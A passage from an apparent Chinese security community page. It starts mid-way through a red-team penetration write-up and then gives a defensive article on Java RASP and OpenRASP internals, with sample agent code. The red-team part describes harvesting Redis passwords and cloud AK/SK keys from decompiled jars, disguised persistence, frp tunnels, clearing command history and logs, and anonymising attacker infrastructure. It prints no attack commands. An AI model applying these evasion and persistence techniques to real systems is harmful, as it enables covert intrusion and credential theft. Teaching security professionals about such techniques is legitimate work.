可以看到显示的仅是我们的代理地址，并且网络连接为代理服务器的IP及端口，与实际本地监听端口不同，而流量加密可以帮助我们执行的命令不会被态感设备捕获到，这也是红队攻防基础建设的一环，非常重要。
目标JAVA版本为1.8.0_241，是高于上面所述的普通JNDI注入要求的利用条件，这也解释了我们刚开始利用失败的原因。
这里发现目标主机开放了大量的Web服务以及redis数据库服务，并且都是以jar包的形式启动Web服务的，这也就是说，除非我们把jar包下载回来进行反编译修改添加WebShell并替换重启原有的Web服务才可以添加WebShell，通常来讲为了不破坏原有业务正常运转，我们是不能进行这种操作的。
很遗憾redis服务并没有未授权漏洞，所以我们继续对jar包下载回来进行反编译，对源码进行审计，看一下有没有一些用户凭证或者服务配置信息等。
这里配置的IP均为内网地址，这也对应了我们最开始获取到的内网IP为当前主机。其中包含了不少内网其他主机的登录凭证接口管理平台、消息推送平台等服务的Toekn，这里发现redis的密码为
**XXRedis639020XX**
这时，机智的风起哥立马发现了他的命名规则是根据redis的端口来设置的，其中前后缀不变，仅改变中间的端口号，这里我们直接拿下了当前服务器多个redis数据库。
继续审计，发现了Aliyun的AK/SK。
至此控制目标多台云服务器，并且发现均为同一内网下，这时根据之前获得的其他凭证即可进一步横向移动，不乏例如：mongodb、Mysql等搭建在其他服务器的数据库服务凭证。
这时在当前目标上起一个反向代理，因为实际测试过程中发现，目标SSH服务并不能通过外网直接连接，所以利用这样的方式进行连接，当然也有一个好处，就是目标上记录日志的登录IP为内网本地的，也达到了一些隐匿的效果。
当然，查看日志也发现了， 另一个登录的IP为企业专线，这也解释了，目标服务器的登录应该是做了安全组限制了登录SSH服务的网段仅能从其企业内网连接。
**至此，演示结束。**
## 权限维持
这里因为不准备进一步横向，所以仅以本地环境讲解思路。对于Linux的主机我们在外部打点之后，首先需要做的就是权限维持，其实红队演练与APT相似的是核心同样在于
“持久化”
，我通常习惯留私钥登录以及创建高权限用户，一般创建的用户名以服务命名非常迷惑，但是通过这么不寻常的权限也一定能看出来端倪。这时不要为了方便而这么做，非常容易暴露，这时可以做一些sudo提权或者SUID文件等操作间接的使用root权限，如下图(反面例子)：
当然，红队攻防不仅仅是一个人战斗，所以在拿到shell后可以上线到自己C2上，Linux上线CobaltStrike的方式可以使用CrossC2插件进行，这里仅作安全研究，所以不做此操作。而使用nohup的方式留以持续性的代理的方式也比较容易被发现，所以建议使用frp进行代理，也因为它的可拓展性非常高，通过免杀或修改配置文件等方式可以进行躲避流量监测。
需要注意的是，一定要对痕迹进行清理。在蓝队处置的过程中，重点关注的对象就是一些登录、服务日志、进程、端口，新建文件，这也是雷区所在，一定要在这些方面下功夫。尤其是历史命令，不清理被还原出攻击路径的概率非常大，这也会被一步步揪出来。如果能够顺利通过处置人员的排查，那么恭喜你可以安心继续了，因为在非必要或确认失陷的情况，没有甲方愿意去隔离当前业务，尤其是对外服务、内部OA、工控系统等，停止业务系统都可能造成不可估量的损失。当然要是一些不重要的业务，也可能直接就给关掉了，虽然不符合规定。
在进入内网环境下，每一步操作都需要非常的慎重，尤其是涉及端口、进程的操作。因为稍有不慎，被捕获到异常操作，会引起防守方极大的重视。尤其是多次异常告警的情况下，通常在第一次告警的情况下，蓝队成员未排查出异常操作后会对该主机进行重点关注，如果继续出现告警，那么极有可能直接进行单机隔离。那么此时在权限掉线又没有办法清理痕迹的情况下，不要慌张，去泡杯花茶，这样凉凉后会比较香。
对于一些新晋红队的同学，风起哥建议首先做好基础建设，比如免杀、隐匿、工具特征改造、匿名VPS、邮箱、手机号、身份信息等，最好在纯净的虚拟机中进行渗透操作（别搁虚拟机里看什么腾讯视频）。如果被蜜罐抓到ID，那么基本上被溯源出来的概率就很高了，你可能还在愉快的渗透着，突然告诉你出局了。别惊讶，多看看群，是不是有蓝队兄弟问到你的ID了哈哈哈（除非你叫什么张三、李四、王二麻子这种迷惑的ID）。
**就先讲到这里，上面一段全是文字了，想必在读的同学也懒得看了，这里系列后面的文章再讲**
## 后记
感谢各位读者的支持，在前一阵发布了Kunyu(坤舆)，也是文章开始时使用的信息收集工具，感兴趣的小伙伴可以自行下载使用，是一款非常不错的被动信息收集工具，风起强烈推荐哦~
本篇文章，从红队的视角剖析了渗透的思路，对一些需要注意的细节进行了着重讲解。渗透的过程不是关键，重要的是其中的思路，所以本文有一些利用细节都给省略了，仅以辅助去讲解，我认为这种结合实际的讲解是非常必要的，如果仅仅只去讲思路，谁会去听？嘿嘿，除非特别棒，要不我是不看的。我觉得自己是一个比较实在的人，有一说一的那种，所以也很喜欢去做一些分享，或许也是希望更多的同学能够去做我想做的，间接的弥补我的遗憾吧。
最后，祝各位心想事成，美梦成真！
## Community
有想要认识一下，或者交流技术的同学，可以通过以下方式联系作者:
## 参考链接
<https://github.com/knownsec/Kunyu/>
<https://blog.csdn.net/weixin_40418457/article/details/116424252>
<https://github.com/LandGrey/SpringBootVulExploit#0x05jolokia-realm-jndi-rce> | 社区文章 |
# 浅谈RASP
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本篇将近一个月对rasp的研究成果进行汇总，具体讨论RASP的优劣势以及一些个人的理解和看法。
## 0x01 概述
RASP是Runtime application self-protection的缩写，中文翻译为应用程序运行时防护，其与WAF等传统安全防护措施的主要区别于其防护层级更加底层——在功能调用前或调用时能获取访问到当前方法的参数等信息，根据这些信息来判定是否安全。
RASP与传统的基于流量监测的安全防护产品来说，优势点在于可以忽略各种绕过流量检测的攻击方式（如分段传输，编码等），只关注功能运行时的传参是否会产生安全威胁。简单来说，RASP不看过程，只看具体参数导致方法实现时是否会产生安全威胁。简单类比一下，RASP就相当于应用程序的主防，其判断是更加精准的。
虽然RASP有很多优势，但是由于其本身的实现也导致了很多问题使其难以推广：
* 侵入性过大。对于JAVA的RASP来说，它的实现方式是通过Instrumentation编写一个agent，在agent中加入hook点，当程序运行流程到了hook点时，将检测流程插入到字节码文件中，统一进入JVM中执行。在这里如果RASP本身出现了什么问题的话，将会直接对业务造成影响。
* 效率问题。由于需要将检测流程插入到字节码文件中，这样会在运行时产生大量不属于业务流程本身的逻辑，这样会增加业务执行的流程，对业务效率造成一定的影响。
* 开发问题。针对不同的语言，RASP底层的实现是不一样的，都需要重新基于语言特性进行专门的开发，开发的压力很大。
* 部署问题。以Java RASP来举例子，Java RASP有两种部署方式，一种需要在启动前指定agent的位置，另一种可以在运行时用attach的方式进行部署，但是他们都存在不同的问题。
* 在启动前指定agent的位置就以为着在进行部署时需要重启服务，会影响到正常的业务。
* 在运行时进行attach部署时，当后期RASP进行版本迭代重新attach时，会产生重复添加代码的情况（由于JVM本身机制的问题，基本无法将修改的字节码重新转换到运行时的字节码上，所以没办法动态添加代理解决该问题）。
目前RASP的主方向还是Java RASP，受益于JVMTI，现在的Java RASP是很好编写的，效果也是比较错的。同时也受限于JVMTI，Java
RASP的技术栈受到了一定的限制，很难在具体实现上更进一步，只能在hook点和其他功能上进行完善。
跳出乙方视角来审视RASP，其最好的实践场景还是在甲方企业内部，从某个角度来说RASP本来就是高度侵入业务方代码的一种防护措施，在纷繁复杂的业务场景中，只有甲方根据业务进行定制化开发才能达到RASP的最高价值，如果乙方来做很容易变成“纸上谈兵”的产品。
下面将以Java RASP为核心对RASP技术进行详细的阐述，并用跟踪源码的方式来解析百度OpenRASP的具体实现方式。
## 0x02 Java RASP技术栈
Java RASP核心技术栈：
* Instrumentation通过JVMTI实现的Agent，负责获取并返回当前JVM虚拟机的状态或转发控制命令。
* 字节码操作框架，用于修改字节码（如ASM、Javassist等）
其余技术栈：
* Log4j日志记录
* 插件系统（主要是用于加载检测规则）
* 数据存储及转发（转发到soc平台或自动封禁平台进行封禁） 等
## 0x03 Java RASP实现方式
编写Java RASP主要分为两部分：
* Java Agent的编写
* 利用字节码操作框架（以下都以ASM来举例）完成相应hook操作
### 3.1 Java Agent简介
在Java SE 5及后续版本中，开发者可以在一个普通Java程序运行时，通过-javaagent参数指定一个特定的jar文件（该文件包含Instrumentation代理）来启动Instrumentation的代理程序，这个代理程序可以使开发者获取并访问JVM运行时的字节码，并提供了对字节码进行编辑的操作，这就意味着开发者可以将自己的代码注入，在运行时完成相应的操作。在Java
SE 6后又对改功能进行了增强，允许开发者以用Java Tool
API中的attach的方式在程序运行中动态的设置代理类，以达到Instrumentation的目的。而这两个特性也是编写Java RASP的关键。
javaagent提供了两种模式：
* premain：允许在main开始前修改字节码，也就是在大部分类加载前对字节码进行修改。
* agentmain：允许在main执行后通过com.sun.tools.attach的Attach API attach到程序运行时中，通过retransform的方式修改字节码，也就是在类加载后通过类重新转换（定义）的方式在方法体中对字节码进行修改，其本质还是在类加载前对字节码进行修改。
这两种模式除了在main开始前后调用的区别外，还有很多细枝末节的区别，这一点就导致了两种模式的泛用性不同：
* agent运作模式不同：premain相当于在main前类加载时进行字节码修改，agentmain是main后在类调用前通过重新转换类完成字节码修改。可以发现他们的本质都是在类加载前完成的字节码修改，但是premain可以直接修改或者通过redefined进行类重定义，而agentmian必须通过retransform进行类重新转换才能完成字节码修改操作。
* 部署方式不同：由于agent运作模式的不同，所以才导致premain需要在程序启动前指定agent，而agentmain需要通过Attach API进行attach。而且由于都是在类加载前进行字节码的修改，所以如果premain模式的hook进行了更新，就只能重启服务器，而agentmain模式的hook如果进行了更新的话，需要重新attach。
因为两种模式都存在一定的限制，所以在实际运用中都会有相应的问题：
* premain：每次修改需要重启服务。
* agentmain：由于attach的运行时中的进程，因JVM的进程保护机制，禁止在程序运行时对运行时的类进行自由的修改，具体的限制如下：
* 父类应为同一个类
* 实现的接口数要相同
* 类访问符要一致
* 字段数和字段名必须一致
* 新增的方法必须是private static/final的
* 可是删除修改方法
* 这样的限制是没有办法用代理模式的思路来避免重复插入的。同时为了实现增加hook点的操作我们必须将自己的检测字节码插入，所以只能修改方法体。这样一来如果使用agentmain进行重复的attach，会造成将相同代码多次插入的操作，会产生重复告警，极大的增加业务压力。
单单针对agentmain所出现的重复插入的问题，有没有方式能直接对运行时的java类做字节码插入呢？其实是有的，但是由于各种原因，其会较大的增加业务压力所以这里不过多叙述，想要了解详情的读者，可以通过搜索Hotswap和DCE
VM来了解两种不同的热部署方式。
### 3.2 ASM简介
ASM是一个Java字节码操作框架，它主要是基于访问者模式对字节码完成相应的增删改操作。想要深入的理解ASM可以去仔细阅读ASM的官方文档，这里只是简单的介绍一下ASM的用法。
在开始讲ASM用法前，需要简单的介绍一下访问者模式，只有清楚的访问者模式，才能理解ASM为什么要这么写。
**3.2.1 访问者模式**
在面向对象编程和软件工程中，访问者模式是一种把数据结构和操作这个数据结构的算法分开的模式。这种分离能方便的添加新的操作而无需更改数据结构。
实质上，访问者允许一个类族添加新的虚函数而不修改类本身。但是，创建一个访问者类可以实现虚函数所有的特性。访问者接收实例引用作为输入，使用双重调用实现这个目标。
上面说的的比较笼统，直接用代码来说话：
package com.lucifaer.ASMDemo;
interface Person {
public void accept(Visitor v) throws InterruptedException;
}
class Play implements Person{
@Override
public void accept(Visitor v) throws InterruptedException {
v.visit(this);
}
public void play() throws InterruptedException {
Thread.sleep(5000);
System.out.println("This is Person's Play!");
}
}
interface Visitor {
public void visit(Play p) throws InterruptedException;
}
class PersonVisitor implements Visitor {
@Override
public void visit(Play p) throws InterruptedException {
System.out.println("In Visitor!");
long start_time = System.currentTimeMillis();
p.play();
long end_time = System.currentTimeMillis();
System.out.println("End Visitor");
System.out.println("Spend time: " + (end_time-start_time));
}
}
public class VisiterMod {
public static Person p = new Play();
public static void main(String[] args) throws InterruptedException {
PersonVisitor pv = new PersonVisitor();
p.accept(pv);
}
}
在这个例子中做了以下的工作:
1. 添加void accept(Visitor v)到Person类中
2. 创建visitor基类，基类中包含元素类的visit()方法
3. 创建visitor派生类，实现基类对Person的Play的操作
4. 使用者创建visitor对象，调用元素的accept方法并传递visitor实例作为参数
可以看到在没有改变数据结构的情况下只是实现了Visitor类就可以在visit方法中自行加入代码实现自定义逻辑，而不会影响到原本Person接口的实现类。
结果为：
**3.2.2 ASM的访问者模式**
在ASM中的访问者模式中，ClassReader类和MethodNode类都是被访问的类，访问者接口包括：ClassVistor、AnnotationVisitor、FieldVistor和MethodVistor。访问者接口的方法集以及优先顺序可以在下图中进行查询：
通过该图可以清晰的看出调用顺序，对于新手来说可以简单的理解为下面这样的调用顺序：
* 需要访问类，所以要声明ClassReader，来“获取”类。
* 如果需要对类中的内容进行修改，就需要声明ClassWriter它是继承于ClassReader的。
* 然后实例化“访问者”ClassVisitor来进行类访问，至此就以“访问者”的身份进入了类，你可以进行以下工作：
* 如果需要访问注解，则实例化AnnotationVisitor
* 如果需要访问参数，则实例化FieldVisitor
* 如果需要访问方法，则实例化MethodVisitro
* 每种访问其内部的访问顺序可以在图上自行了解。
* ClassReader调用accept方法
* 完成整个调用流程
### 3.3 实际例子
在具体展示两种模式的例子前，先补充一下agent的运行条件，无论用那种模式写出来的agent，都需要将agent打成jar包，同时在jar包中应用META-INF/MANIFEST.MF中指定agent的相关信息，下面是个例子：
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: com.lucifaer.javaagentLearning.agent.PreMainTranceAgent
Agent-Class: com.lucifaer.javaagentLearning.agent.AgentMainTranceAgent
Premain-Class和Agent-Class是用来配置不同模式的agent实现类，Can-Redefine-Classes和Can-Retransform-Classes是用来指示是否允许进行类重定义和类重新转换，这两个参数在一定的情况下决定了是否能在agent中利用ASM对加载的类进行修改。
**3.3.1 premain模式例子**
下面用园长的一个demo来展示如何利用premain方式进行表达式监控。完整代码可以看这里，也可以看我整理后的代码
public class Agent implements Opcodes {
private static List<MethodHookDesc> expClassList = new ArrayList<MethodHookDesc>();
static {
expClassList.add(new MethodHookDesc("org.mvel2.MVELInterpretedRuntime", "parse",
"()Ljava/lang/Object;"));
expClassList.add(new MethodHookDesc("ognl.Ognl", "parseExpression",
"(Ljava/lang/String;)Ljava/lang/Object;"));
expClassList.add(new MethodHookDesc("org.springframework.expression.spel.standard.SpelExpression", "<init>",
"(Ljava/lang/String;Lorg/springframework/expression/spel/ast/SpelNodeImpl;" +
"Lorg/springframework/expression/spel/SpelParserConfiguration;)V"));
}
public static void premain(String agentArgs, Instrumentation instrumentation) {
System.out.println("agentArgs : " + agentArgs);
instrumentation.addTransformer(new ClassFileTransformer() {
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
final String class_name = className.replace("/", ".");
for (final MethodHookDesc methodHookDesc : expClassList) {
if (methodHookDesc.getHookClassName().equals(class_name)) {
final ClassReader classReader = new ClassReader(classfileBuffer);
ClassWriter classWriter = new ClassWriter(classReader, ClassWriter.COMPUTE_MAXS);
final int api = ASM5;
try {
ClassVisitor classVisitor = new ClassVisitor(api, classWriter) {
@Override
public MethodVisitor visitMethod(int i, String s, String s1, String s2, String[] strings) {
final MethodVisitor methodVisitor = super.visitMethod(i, s, s1, s2, strings);
if (methodHookDesc.getHookMethodName().equals(s) && methodHookDesc.getHookMethodArgTypeDesc().equals(s1)) {
return new MethodVisitor(api, methodVisitor) {
@Override
public void visitCode() {
if ("ognl.Ognl".equals(class_name)) {
methodVisitor.visitVarInsn(Opcodes.ALOAD, 0);
}else {
methodVisitor.visitVarInsn(Opcodes.ALOAD, 1);
}
methodVisitor.visitMethodInsn(
Opcodes.INVOKESTATIC, Agent.class.getName().replace(".", "/"), "expression", "(Ljava/lang/String;)V", false
);
}
};
}
return methodVisitor;
}
};
classReader.accept(classVisitor, ClassReader.EXPAND_FRAMES);
classfileBuffer = classWriter.toByteArray();
}catch (Throwable t) {
t.printStackTrace();
}
}
}
return classfileBuffer;
}
});
}
public static void expression(String exp_demo) {
System.err.println("---------------------------------EXP-----------------------------------------");
System.err.println(exp_demo);
System.err.println("---------------------------------调用链---------------------------------------");
StackTraceElement[] elements = Thread.currentThread().getStackTrace();
for (StackTraceElement element : elements) {
System.err.println(element);
}
System.err.println("-----------------------------------------------------------------------------");
}
}
这里采用的是流式写法，没有将其中的ClassFileTransformer抽出来。
整个流程简化如下：
* 根据className来判断当前agent拦截的类是否是需要hook的类，如果是，则直接进入ASM修改流程。
* 在ClassVisitor中调用visitMethod方法去访问hook类中的每个方法，根据方法名判断当前的方法是否是需要hook的方法，如果是，则调用visitCode方法在访问具体代码时获取方法的相关参数（这里是获取表达式），并在执行逻辑中插入expression方法的调用，在运行时将执行流经过新添加的方法，就可以打印出表达式以及调用链了。
效果如下：
**3.3.2 agentmain模式例子**
下面用一个我自己写的例子来说一下如何利用agentmain模式增加执行流。
AgentMain.java
public class AgentMain {
public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
// for (Class clazz : inst.getAllLoadedClasses()) {
// System.out.println(clazz.getName());
// }
CustomClassTransformer transformer = new CustomClassTransformer(inst);
transformer.retransform();
}
}
CustomClassTransformer.java
public class CustomClassTransformer implements ClassFileTransformer {
private Instrumentation inst;
public CustomClassTransformer(Instrumentation inst) {
this.inst = inst;
inst.addTransformer(this, true);
}
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
System.out.println("In Transform");
ClassReader cr = new ClassReader(classfileBuffer);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS);
ClassVisitor cv = new ClassVisitor(Opcodes.ASM5, cw) {
@Override
public MethodVisitor visitMethod(int i, String s, String s1, String s2, String[] strings) {
// return super.visitMethod(i, s, s1, s2, strings);
final MethodVisitor mv = super.visitMethod(i, s, s1, s2, strings);
if ("say".equals(s)) {
return new MethodVisitor(Opcodes.ASM5, mv) {
@Override
public void visitCode() {
super.visitCode();
mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/System", "out", "Ljava/io/PrintStream;");
mv.visitLdcInsn("CALL " + "method");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintStream", "println", "(Ljava/lang/String;)V", false);
}
};
}
return mv;
}
};
cr.accept(cv, ClassReader.EXPAND_FRAMES);
classfileBuffer = cw.toByteArray();
return classfileBuffer;
}
public void retransform() throws UnmodifiableClassException {
LinkedList<Class> retransformClasses = new LinkedList<Class>();
Class[] loadedClasses = inst.getAllLoadedClasses();
for (Class clazz : loadedClasses) {
if ("com.lucifaer.test_agentmain.TestAgentMain".equals(clazz.getName())) {
if (inst.isModifiableClass(clazz) && !clazz.getName().startsWith("java.lang.invoke.LambdaForm")) {
inst.retransformClasses(clazz);
}
}
}
}
}
可以看到agentmain模式和premain的大致写法是没有区别的，最大的区别在于如果想要利用agentmain模式来对运行后的类进行修改，需要利用Instrumentation.retransformClasses方法来对需要修改的类进行重新转换。
想要agentmain工作还需要编写一个方法来利用Attach API来动态启动agent：
public class AttachAgent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : list) {
if (vmd.displayName().endsWith("TestAgentMain")) {
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
virtualMachine.loadAgent("/Users/Lucifaer/Dropbox/Code/Java/agentmain_test/out/artifacts/agentmain_test_jar/agentmain_test.jar", "Attach!");
System.out.println("ok");
virtualMachine.detach();
}
}
}
}
效果如下：
**3.3.3 agentmain坑点**
这里有一个坑点也导致没有办法在agentmain模式下动态给一个类添加一个新的方法，如果尝试添加一个新的方法就会报错。下面是我编写利用agentmain模式尝试给类动态增加一个方法的代码：
public class DynamicClassTransformer implements ClassFileTransformer {
private Instrumentation inst;
private String name;
private String descriptor;
private String[] exceptions;
public DynamicClassTransformer(Instrumentation inst) {
this.inst = inst;
inst.addTransformer(this, true);
}
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
System.out.println("In transformer");
ClassReader cr = new ClassReader(classfileBuffer);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS);
ClassVisitor cv = new ClassVisitor(Opcodes.ASM5, cw) {
@Override
public MethodVisitor visitMethod(int i, String s, String s1, String s2, String[] strings) {
final MethodVisitor mv = super.visitMethod(i, s, s1, s2, strings);
if ("say".equals(s)) {
name = s;
descriptor = s1;
exceptions = strings;
}
return mv;
}
};
// ClassVisitor cv = new DynamicClassVisitor(Opcodes.ASM5, cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
MethodVisitor mv;
mv = cw.visitMethod(Opcodes.ACC_PUBLIC, "say2", "()V", null, null);
mv.visitCode();
Label l0 = new Label();
mv.visitLabel(l0);
mv.visitLineNumber(23, l0);
mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/System", "out", "Ljava/io/PrintStream;");
mv.visitLdcInsn("2");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintStream", "println", "(Ljava/lang/String;)V", false);
Label l1 = new Label();
mv.visitLabel(l1);
mv.visitLineNumber(24, l1);
mv.visitInsn(Opcodes.RETURN);
Label l2 = new Label();
mv.visitLabel(l2);
mv.visitLocalVariable("this", "Lcom/lucifaer/test_agentmain/TestAgentMain;", null, l0, l2, 0);
mv.visitMaxs(2, 1);
mv.visitEnd();
classfileBuffer = cw.toByteArray();
FileOutputStream fos = null;
try {
fos = new FileOutputStream("agent.class");
} catch (FileNotFoundException e) {
e.printStackTrace();
}
try {
assert fos != null;
fos.write(classfileBuffer);
} catch (IOException e) {
e.printStackTrace();
}
try {
fos.close();
} catch (IOException e) {
e.printStackTrace();
}
return classfileBuffer;
}
public void retransform() throws UnmodifiableClassException {
LinkedList<Class> retransformClasses = new LinkedList<Class>();
Class[] loadedClasses = inst.getAllLoadedClasses();
for (Class clazz : loadedClasses) {
if ("com.lucifaer.test_agentmain.TestAgentMain".equals(clazz.getName())) {
if (inst.isModifiableClass(clazz) && !clazz.getName().startsWith("java.lang.invoke.LambdaForm")) {
inst.retransformClasses(clazz);
}
}
}
}
}
结果如下：
这里尝试添加一个public方法是直接失败的，原因就在于原生的JVM在运行时时为了程序的线程及逻辑安全，禁止向运行时的类添加新的public方法并重新定义该类。JVM默认规则是只能修改方法体中的逻辑，所以这就意味着会有这么一个问题：当多次attach时，代码会重复插入，这样是不符合热部署逻辑的。
当然目前市面上也有一定的解决方案，如JRebel和Spring-Loaded，它们的实现方式是在method call和field
access的方法做了一层代理，而这一点对于RASP来说，无疑是加重了部署难度，反而与热部署简单快捷的方式背道而驰。
## 0x04 OpenRASP的具体实现方式
以上大致将Java RASP的相关内容介绍完毕后，这部分来深入了解一下OpenRASP的Java RASP这一部分是怎么写的，执行流是如何。
### 4.1 OpenRASP执行流
OpenRASP的执行流很简单主要分为以下几部分：
5. agent初始化
6. V8引擎初始化
7. 日志配置模块初始化
8. 插件模块初始化
9. hook点管理模块初始化
10. 字节码转换模块初始化
其中具体实现管理hook点以及添加hook点的部分主要集中于5、6这一部分，这里同样是我们最为关注的地方。
### 4.2 初始化流程
在这一部分不会对OpenRASP流程进行一步步的跟踪，只会将其中较为关键的点进行分析。
**4.2.1 agent初始化**
通过前面几节的介绍，其实是可以发现RASP类的编写共同点的——其入口就是premain或agentmain方法，这些都会在META-INFO/MANIFEST.MF中标明：
所以其入口就是com.baidu.openrasp.Agent：
这里在模块加载前做了一个非常重要的操作——将Java agent的jar包加入到BootStrap class
path中，如果不进行特殊设定，则会默认将jar包加入到System class
path中，对于研究过类加载机制的朋友们来说一定不陌生，这样做得好处就是可以将jar包加到BootStrapClassLoader所加载的路径中，在类加载时可以保证加载顺序位于最顶层，这样就可以不受到类加载顺序的限制，拦截拦截系统类。
当将jar包添加进BootStrap class path后，就是完成模块加载的初始化流程中，这里会根据指定的jar包来实例化模块加载的主流程：
这里的ENGINE_JAR是rasp-engine.jar，也就是源码中的engine模块。这里根据配置文件中的数值通过反射的方式实例化相应的主流程类：
然后就可以一目了然的看到模块初始化主流程了：
在主流程中，我们重点关注红框部分，这一部分完成了hook点管理模块初始化，以及字节码转换模块的初始化。
**4.2.2 hook点管理模块初始化**
hook点管理的初始化过程非常简单，就是遍历com.baidu.openrasp.plugin.checkerCheckParameter的Type，将其中的元素添加进枚举映射中：
在Type这个枚举类型中，定义了不同类型的攻击类型所对应的检测方式：
### 4.2.3 字节码转换模块初始化
字节码转换模块是整个Java
RASP的重中之重，OpenRASP是使用的Javassist来操作字节码的，其大致的写法和ASM并无区别，接下来一步步跟进看一下。
在com.baidu.openrasp.EngineBoot#initTransformer中完成了字节码转换模块的初始化：
这里可以看到在实例化了ClassFileTransformer实现的CustomClassTransformer后，调用了一个自己写的retransform方法，在这个方法中对Instrumentation已加载的所有类进行遍历，将其进行类的重新转换：
这里主要是为了支持agentmain模式对类进行重新转换。
在解释完了retranform后，我们来整体看一下OpenRASP是如何添加hook点并完成相应hook流程的。这一部分是在com.baidu.openrasp.transformer#CustomClassTransformer中：
我们都清楚inst.addTransformer的功能是在类加载时做拦截，对输入的类的字节码进行修改，也就是具体的检测流程插入都在这一部分。但是OpenRASP的hook点是在哪里加入的呢？其实就是在addAnnotationHook这里完成的：
这里会到com.baidu.openrasp.hook下对所有的类进行扫描，将所有由HookAnnotation注解的类全部加入到HashSet中，例如OgnlHook：
至此就完成了字节码转换模块的初始化。
### 4.3 类加载拦截流程
前文已经介绍过RASP的具体拦截流程是在ClassFileTransformer#transform中完成的，在OpenRASP中则是在CustomClassTransformer#transform中完成的：
可以看到先检测当前拦截类是否为已经注册的需要hook的类，如果是hook的类则直接利用javassist的方式创建ctClass，想要具体了解javassist的使用方式的同学，可以直接看javassist的官方文档，这里不再过多表述。
可以看到在创建完ctClass后，直接调用了当前hook的transformClass方法。由于接下来涉及到跟进具体的hook处理类中，所以接下来的分析是以跟进OgnlHook这个hook来跟进的。
OgnlHook是继承于AbstractClassHook的，在AbstractClassHook中预定义了很多虚方法，同时也提供了很多通用的方法，transformClass方法就是在这里定义的：
这里直接调用了每个具体hook类的hookMethod方法来执行具体的逻辑，值得注意的是这里的最终返回也是一个byte数组，具体的流程和ASM并无两样。跟进OgnlHook#hookMethod：
这里首先生成需要插入到代码中的字节码，然后调用其自己写的inserAfter来将字节码插入到hook点的后面（其实就是决定是插在hook方法最顶部，还是return前的最后一行，这决定了调用顺序）。
可以简单的看一下插入的字节码是如何生成的：
很简单，就是插入一段代码，这段代码将反射实例化当前hook类，调用methodName所指定的方法，并将paramString所指定的参数传入该方法中。所以接下来看一下OgnlHook#checkOgnlExpression方法所执行的逻辑：
判断获取的表达式是不是String类型，如果是，将表达式放入HashMap中，然后调用HookHandler.doCheck方法：
在这里说一句题外话，可以看到在这里的逻辑设定是当服务器cpu使用率超过90%时，禁用全部的hook点。这也是RASP要思考解决的一个问题，当负载过高时，一定要给业务让步，也就一定要停止防护功能，不然会引发oom，直接把业务搞崩。所以如何尽量的减少资源占用也是RASP需要解决的一个大问题。
这里就是检测的主要逻辑，主要完成：
* 检测计时
* 获取检测结果
* 根据检测结果判断是否要进行拦截
具体看一下如何获取的检测结果：
这里的checkers是在hook点管理模块初始化时设置的枚举类映射，所以这里调用的是：
V8Checker().check()方法，继承树如下：
所以具体的实现是在AbstractChecker#check中：
也就是V8Checker#checkParam：
这里就一目了然了，是调用JS插件来完成检测的：
easygame，就是在JS插件（其实就是个js文件）中寻找相应的规则进行规则匹配。这个js文件在OpenRASP根目录/plugins/official/plugin.js中：
如果符合匹配规则则返回block，完成攻击拦截。
至此整个拦截流程分析完毕。
### 4.4 小结
从上面的分析中可以看出OpenRASP的实现方式还是比较简单的，其中非常有创新点的是利用js来编写规则，通过V8来执行js。利用js来编写规则的好处是更加方便热部署以及规则的通用性，同时减少了为不同语言重复制定相同规则的问题。
同样，OpenRASP也不免存在RASP本身存在的一些缺陷，这些缺陷将在“缺陷思考”这一节中具体的描述。
## 0x05 缺陷思考
虽然Java RASP是以Java
Instrumentation的工作方式工作在JVM层，可以通过hook引发漏洞的关键函数，在关键函数前添加安全检查，这看上去像是一个“all in
one”的通用解，但是其实存在很多问题。
### 5.1 “通用解”的通用问题
所有“通用解”的最大问题都出现在通用性上。在真实场景中RASP的应用环境比其在实验环境中复杂的多，如果想要一个RASP真正的运行在业务上就需要从乙方和甲方的角度双向思考问题，以下是我想到的一些问题，可能有些偏颇，但是还是希望能给一些参考性的意见：
**5.1.1 语言环境的通配适用性**
企业内部的web应用纷繁复杂，有用Java编写的应用，有用Go编写的，还有用PHP、Python写的等等…，那么如何对这些不同语言所构建的应用程序都实现相应的防护？
对于甲方来说，我购置一套安全防护产品肯定是要能起到通用防护的作用的，肯定不会只针对Java购进一套Java RASP，这样做未免也太亏了。
对于乙方来说，每一种语言都有不同的特性，都要用不同的方式构建RASP，对于开发和安全研究人员来说工作量是相当之大的，强如OpenRASP团队目前也只是支持PHP和Java两个版本的。
这很大程度上也是影响到RASP推广的一个原因。看看传统的WAF、旁路流量监测等产品，它并不受语言的限制，只关心流量中是否存在具有威胁的流量就好，巧妙的减少了一个变量，从而加强了泛用性，无论什么样的环境都可以快速部署发挥作用，对于企业来说，肯定是更愿意购入WAF的。
**5.1.2 部署的通配适用性**
由于开发人员所擅长的技能不同或不同项目组的技能树设定的不同，企业内部往往会存在使用各种各样框架实现的代码。而在代码部署上，如果没有一开始就制定严格的规范的话，部署环境也会存在各种各样的情况。就拿Java来说，企业内部可能存在Struts2写的、Spring写的、RichFaces写的等等…，同时这些应用可能部署在不同的中间件上：Tomcat、Weblogic、JBoss、Websphere等等…，不同的框架，不同的中间件部署方式都或多或少的有所不同，想要实现通配，真的不容易。
**5.1.3 规则的通用性**
